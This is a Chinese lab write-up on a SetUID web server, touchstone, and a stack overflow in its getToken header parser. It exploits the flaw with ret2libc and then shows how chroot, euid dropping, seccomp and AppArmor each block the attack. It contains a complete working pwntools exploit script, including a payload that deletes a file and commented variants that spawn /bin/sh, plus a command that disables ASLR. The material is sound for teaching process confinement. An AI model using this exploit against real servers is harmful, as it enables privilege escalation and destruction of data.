利用一个SetUID(即用户执行该程序时,以程序拥有者的权限运行)的服务端程序的栈溢出漏洞,客户端通过Ret2libc执行攻击;然后分别采用chroot、euid、seccomp、AppArmor等方法实现进程约束,验证攻击失效。

目录

实验目的

实验内容

实验代码

漏洞定位

前端输入

请求分发

处理请求

解析请求

触发

利用

任务 1:删除特权文件

exploit 代码参数        

执行

实验环境

任务 2:chroot

任务 3:改变进程 euid

任务 4:使用 seccomp 限制系统调用

默认允许,显式拒绝

默认拒绝,显示允许(Fail Securely)      

任务 5:使用 AppArmor 限制进程权限

EXP

总结


实验目的

        特权隔离(Privilege Separation)、最小特权(Least Privilege)、安全的错误处理(Fail Securely)等等,是安全设计重要原则,本实验的目的是通过系统提供的安全机制,对程序进行安全增强。 本实验涵盖以下方面:

  • chroot
  • 改变进程 euid
  • seccomp
  • AppArmor

实验内容

        完成针对实验所提供的Web服务程序的进程约束,包括以下要求:

  • 针对SetUID特权程序的漏洞利用;

  • 利用chroot进行进程约束;

  • 改变进程euid,进行进程权限降级;

  • 利用seccomp进行进程约束;

  • 利用AppArmor进行进程约束;

实验代码

        包括 web server 程序源代码、示例的 exploit 代码(作为 web server 的客户端),exploit 代码,只需针对自己的实验环境进行修改。

        任务 2、任务 3、任务 4、任务 5,都需在原始代码的基础上分别进行实验,不是递进关系。

  1.         当前的程序架构设计中,实际上已近实现了某种程度上的特权隔离(Privilege Separation),通过将不同的请求路由到不同的服务中,每个服务的实现都可以保持尽可能的简单,并且,每个服务的特权可以进一步进行限制(实现最小特权,Least Privilege)

        服务器由三个主要部分组成:服务器(server)、HTTP请求调度器(httpd)和一个或多个服务(Filesv、Bankv 等)。

        HTTP 调度器从传来的套接字中读取请求行,并决定该请求属于哪一类(GET、 POST 等)。一般来说,网络服务器会接受静态和动态请求。为了说明这一点, touchstone Web 服务器由两个样本服务组成,为静态网页(file service)和动态银行服务(bank service)提供服务,调度器 httpd 将把请求路由到相应的服务。该服务继续读取 HTTP headers 和 body,并作出适当的回应。

漏洞定位

前端输入

        前端用户控制输入username和password:

请求分发

        server -> httpd,80端口监听,将接收到的客户端 socket 文件描述符通过sendfd发送给  httpd调度, httpd解析请求行Parse_parse(sockfd, 1),发现是 POST 请求,将 socket fd 和 URI 转发给banksv 服务。

        httpd中:

case REQ_KIND_POST:{
     
      printf("httpd dispatch post....\n");
      char info_uri[1024];
      strcpy(info_uri,reqline->uri);
      sendfd(mail_fd,info_uri,strlen(info_uri)+1,sockfd);
      break;
    }

处理请求

        banksv 从httpd接收到客户端文件描述符sockfd,调用Parse_parse(sockfd, 0),参数0 表示需要解析整个请求。

    if(fork() == 0 )//child
      {
	int ruid, euid, suid;
	getresuid(&ruid, &euid, &suid);
	printf("uid = %d %d %d \n",ruid, euid, suid);

	setReqline( REQ_KIND_POST, uri_str);
	tree = Parse_parse(sockfd , 0);

	//response 
	Handle_main (sockfd, tree);

	close(sockfd);
	exit(0);
      }

解析请求

        Parse.c处理:

        解析请求行:Parse_reqLine (int fd)读取 "POST / HTTP/1.1\r\n"

        解析头部字段:

Parse.c调用parseHeaders(fd)

--> advance (fd, sepBySpace)

--> eatToken(fd, sepBySpace)

--> getToken(fd,sepBySpace)。

char s[1024];          //在栈上分配1024字节的缓冲区

gfd=fd;        //输入

...

c = getChar(fd);

...

while (1) {
    switch (c) {
      ...
        s[i++] = c;         //  将字符'A'存入数组s,索引i递增
        break;
    }

触发

        存在构造Hacking头部字段,恶意输入超过s数组 1024 的容量。循环不断执行s[i++] = c,覆盖保存的 ebp 寄存器值,最后覆盖 返回地址eip,这里就是漏洞触发点!       

void getToken (int fd, int sepBySpace)
{  
  i = 0;
  char c;
  char s[1024];
  gfd=fd;
  
  unsigned int *framep;
  // Save the ebp value into framep
  asm("movl %%ebp, %0" : "=r"(framep));
  printf("Frame Pointer (inside getToken):      0x%.8x\n", (unsigned int) framep);
    
  switch (ahead){
  case A_NONE:
    c = getChar (gfd);
    break;
  case A_SPACE:
    ahead = A_NONE;
    Token_new(token, TOKEN_SPACE, 0);
    return;
  case A_CRLF:
    ahead = A_NONE;
    Token_new(token, TOKEN_CRLF, 0);
    return;
  default:{
    char *info = "server bug";
    write (1, info, strlen (info));
    Http_print (gfd, http400);
    close (gfd);
    exit (0);
    return;
  }
  }

  while (1){
    switch (c){
    case ' ':
      if (sepBySpace){
	if (i){
	  char *p;
	  int kind;
	  
	  // remember the ' '
	  ahead = A_SPACE;
	  s[i] = '\0';
	  p = malloc (strlen(s)+1);
	  strcpy (p, s);
	  kind = Token_getKeyWord (p);
	  if (kind>=0){
	    
	    Token_new (token, kind, 0);
	    return;
	  }
	  Token_new (token, TOKEN_STR, p);
	  return;
	}
	Token_new(token, TOKEN_SPACE, 0);
	return;
      }
      s[i++] = c;
      break;
    case '\r':{
      char c2;
      
      c2 = getChar (gfd);
      if (c2=='\n'){
	if (i){
	  char *p;
	  int kind;
	  // remember the ' '
	  ahead = A_CRLF;
	  s[i] = '\0';
	  p = malloc (strlen(s)+1);
	  strcpy (p, s);
	  kind = Token_getKeyWord (p);
	  if (kind>=0){
	    Token_new (token, kind, 0);
	    return;
	  }
	  Token_new (token, TOKEN_STR, p);
	  return;
	}
	Token_new(token, TOKEN_CRLF, 0);
	return;
      }
      s[i++] = c;
      s[i++] = c2;
      break;
    }
    default:
      s[i++] = c;
      break;
    }
    c = getChar (gfd);
  }
  return;
}

            其中以下代码暴露栈基址ebp=>得到unlink的文件字符串"/tmp/test.txt"的地址:ul_arg_addr = ebp_addr + 20。

  1. asm("movl %%ebp, %0" : "=r"(framep));
      printf("Frame Pointer (inside getToken):      0x%.8x\n", (unsigned int) framep);

利用

  1. 攻击者发送恶意 POST 请求,其中包含超长的Hacking:AAAA...头部。
  2. parse.c中的getToken()函数读取该头部字段时发生栈溢出。
  3. 返回地址被覆盖为 libc 中的函数地址。(Ret2libc)
  4. 通过精心构造的栈帧,攻击者执行任意命令。

任务 1:删除特权文件

     Make生成touchstone,为 touchstone 程序添加 setuid root 权限,执行:

$ sudo chown root touchstone
$ sudo chmod +s touchstone
$ ./touchstone

        进一步,可以使用 web browser 登录该 server,进行 register login 在/tmp 目录下面创建/tmp/test.txt 文件,并将其 owner 改成 root

$touch /tmp/test.txt
$sudo chown root /tmp/test.txt

        关闭地址随机化:

sudo sysctl -w kernel.randomize_va_space=0

exploit 代码参数        

        base_addr:通过ldd得到程序libc.so基地址(每次都变,ebp也是,其他不变)

        sys_addr/ul_addr/ex_addr:readelf获取system/unlink/exit函数偏移地址,

        sh_addr:ROPgadget或者strings获得“/bin/sh”字符串地址。

 ebp_addr:服务器启动后通过getToken返回的frame pointer会暴露ebp地址。

去除注释:

    #ul_arg = "/tmp/test.txt\0"

    #ul_arg_addr = ebp_addr + 20

Payload:执行unlink("/tmp/test.txt\0")+exit(0)

b'A' * 1068+ p32(ul_addr) +p32(ex_addr)+p32(ul_arg_addr)+p32(0)

执行

尝试利用 touchstone 的漏洞,删除特权文件/tmp/test.txt 文件。

$ python3 ./exploit.py 127.0.0.1 80

实验环境

  1. VMware Workstation 虚拟机。
  2. Ubuntu 操作系统或其它 Linux,无具体版本要求。

任务 2chroot

        修改 server.c,修改服务器源代码添加chroot(“/jail”),并重新 make;

        改变root directory从/ 到 /jail到/jail,并在jail中启动server进程,在/jail/tmp下面也创建privilege的 test.txt 文件。

$ chmod +x chroot-setup.sh chroot-copy.sh
$ sudo chroot-setup.sh
$ cd /jail
$ sudo ./touchstone

        注意:jail 中的 library 是单独的,位于/jail/lib 下(不同于原先的路径),所以需要重新寻找 libc 的 base 地址

        通过gdb附加进程PID定位libc.so位置,执行exploit程序,观察到/jail/tmp/test.txt被删除了,而/tmp/test.txt文件仍然存在。

#查找banksv进程pid
ps -a

sudo gdb
(gdb) attach 3056
(gdb) b Handle_post
(gdb) set follow-fork-mode child
(gdb) c
info proc mapping

任务 3:改变进程 euid

        修改源代码,使用 setuid (setresuid ),及时减少 privilege,使得 banksv 进程没有(不必要的)root 权限,并重新make,执行exploit程序发现特权文件未删除。

任务 4:使用 seccomp 限制系统调用

       使用 seccomp 方法,对 vulnerable 进程进行约束:通过apt-get安装libseccomp-dev:i386

        若有下载不了i386的版本的倒霉蛋(比如我。。。),先添加i386架构,然后apt-get update

        修改Makefile文件为server.c和banksv.c添加 -l seccomp 编译选项,重新 make,采用两种方法进行约束。

Makefile:

all:
gcc -m32 -no-pie -g -o touchstone server.c -lseccomp
gcc -m32 -no-pie -fno-stack-protector -g -o filesv ./sql_lite3/sqlite3.o -l pthread -l dl ./sql_lite3/sqlhelper.c 
filesv.c token.c parse.c http-tree.c handle.c
gcc -m32 -no-pie -fno-stack-protector -g -o banksv ./sql_lite3/sqlite3.o -l pthread -l dl ./sql_lite3/sqlhelper.c 
banksv.c token.c parse.c http-tree.c handle.c -lseccomp
gcc -m32 -no-pie -fno-stack-protector -g -o httpd httpd.c token.c parse.c http-tree.c 
clean:
rm -rf touchstone filesv banksv httpd

默认允许,显式拒绝

在baksv.c中取消setup_allow_bydefault_rules函数注释,

默认允许ctx = seccomp_init(SCMP_ACT_ALLOW);

显式拒绝(seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(unlink))

重新编译后执行exploit不可以删除特权数据文件

默认拒绝,显示允许Fail Securely      

在baksv.c中取消setup_allow_bydefault_rules函数注释,

默认拒绝ctx = seccomp_init(SCMP_ACT_KILL);

显式拒绝(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read),0);等系统调用

重新编译后执行exploit不可以删除特权数据文件,但可以通过其他利用方式(system("/bin/sh"))获得 shell删除特权数据文件,这是错误的安全规则配置。

任务 5:使用 AppArmor 限制进程权限

        AppArmor 是 linux 系统中提供的一种强制访问控制方法,与 SELinux 类似,AppArmor 通过提供强制访问控制 (MAC) 来补充传统的 Linux 自主访问控制(DAC) 。AppArmor 允许系统管理员通过为每个程序进行权限配置,来限制程序的功能。

        使用 AppArmor vulnerable 进程进行强制访问控制,无需修改源代码,基础指令如下:

#检查 apparmor 服务状态:
systemctl status apparmor # Checks status
systemctl start apparmor # Starts the service
systemctl enable apparmor # Makes apparmor start on boot

#检查加载的 profiles:
sudo aa-status

#为程序创建 profile:
aa-genprof #为首次运行的程序创建 profile
aa-logprof #为已存在 profile 的程序,根据 log 修改权限

        创建profile后,在/etc/apparmor.d文件夹下,修改banksv权限,对数据库文件:读、写、锁定;对HTML文件:只读;对自身程序文件允许内存映射为可执行、允许读取,mr(ix/rix/nr/?)

        dmesg 查看错误日志,unlink操作被denied:

EXP

#!/usr/bin/python
import sys
import socket
import traceback
import struct
import time
import os.path
import binascii
from pwn import *

# libc base address
# ASLR shoud be off, so that libc's base address will not change untill next reboot 
# you can use "ldd ./program" to check the libc base address
base_addr = 0xf7d95000

# all of the offsets of functions (strings) inside libc won't change much (sometimes changed, so check is needed) .
# to get the offset of a funtion, you can use:
##  readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"
# to get "/bin/sh":
## ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"

# system
sys_addr = base_addr + 0x00044d00 
# /bin/sh
sh_addr = base_addr + 0x0018fb62
# exit
ex_addr = base_addr + 0x00037680 
# unlink
ul_addr = base_addr + 0x000f3f60
# dead
d_addr = 0xdeadbeef


# ebp  too make the task simple, we print ebp of getToken function (vulnerable) 
ebp_addr = 0xffffd208



## Below is the function that you should modify to construct an
## HTTP request that will cause a buffer overflow in some part
## of the vulnerable web server and exploit it.

def build_exploit(shellcode):

    #ul_arg = "/tmp/test.txt\0"
    #ul_arg_addr = ebp_addr + 20

    sys_arg = "/bin/sh\0"
    sys_arg_addr = ebp_addr + 20

    req = ("POST / HTTP/1.1\r\n").encode('latin-1')
    # All of the header information other than "Content-Length" is not important
    req += ("Host: 127.0.0.1\r\n").encode('latin-1')
    # The Content-Length below is useful, and depends on the length of 
    # username plus password, you need to use wireshark (together with web browser) 
    # for checking the length
    req += ("Content-Length: 58\r\n").encode('latin-1') 
    req += ("Origin: http://127.0.0.1\r\n").encode('latin-1')
    req += ("Connection: keep-alive\r\n").encode('latin-1')
    req += ("Referer: http://127.0.0.1/\r\n").encode('latin-1')

    req += ("Hacking: ").encode('latin-1')
    # For different oses (and compilation), the length of fillup for 
    # hijacking the return address in the stack, could be different,
    # therefore you need to debug the program for checking and adjusting.
    req += b'A' * 1068 #  + b'C' * 4

    # use "/bin/sh" string in libc
    #req += p32(sys_addr)
    #req += p32(ex_addr)
    #req += p32(sh_addr)
    #req += p32(0)

    # put "/bin/sh" string in the stack
    # ebp is needed to locate the place of string 
    # Note: using this method, you can put arbitrary string in the stack, 
    # so that "system" can execute arbitrary command
    #req += p32(sys_addr)
    #req += p32(ex_addr)
    #req += p32(sys_arg_addr)
    #req += p32(0)
    #req += sys_arg.encode('latin-1')


    # remove a file specified by the path "ul_arg"
    req += p32(ul_addr)
    req += p32(ex_addr)
    req += p32(ul_arg_addr)
    req += p32(0)
    req += ul_arg.encode('latin-1')
    

    req += ("\r\n").encode('latin-1')
    req += ("\r\n").encode('latin-1')
   
    # Below is the username/password that you can Register into the web server
    # by using web browser. These information will be stored into the sqlite db behind.
    # You need to change these information according to your own registration.
 
    # Note that successful POST will be responded by the server with a hint page.
    # By using the successful response, you can judge whether the server has been 
    # crashed (by exploit), so that you can adjust the fillup accordingly.
    req += ("login_username=sa12&login_password=1234&submit_login=Login").encode('latin-1')

    print(req)
    return req

    #If you cannot use p32 (in pwnlib), you can use the following line
    #req += (addr1).to_bytes(4, byteorder='little')


def send_req(host, port, req):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print("Connecting to %s:%d..." % (host, port))
    sock.connect((host, port))

    print("Connected, sending request...")
    sock.send(req)

    print("Request sent, waiting for reply...")
    rbuf = sock.recv(1024)
    resp = ("").encode("latin-1")
    while len(rbuf):
      resp=resp+rbuf
      rbuf = sock.recv(1024)

    print("Received reply.")
    sock.close()
    return resp


if len(sys.argv) != 3:
    print("Usage: " + sys.argv[0] + " host port")
    exit()

try:
    shellcode = ""
    req = build_exploit(shellcode)
    print("HTTP request:")
    print(req)

    resp = send_req(sys.argv[1], int(sys.argv[2]), req)
    print("HTTP response:")
    print(resp)
except:
    print("Exception:")
    print(traceback.format_exc())

总结

进程特权隔离 => 在Jail中运行,需防止相对路径逃逸/guest/../../etc/passwd

最小特权(Least Privilege)=> 对应低权限进程时,设置edui为ruid

安全的错误处理(Fail Securely)=> seccomp 的规则配置,默认拒绝将不可用且可绕过,无效  

不同层次多种手段结合 =>纵深防御

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐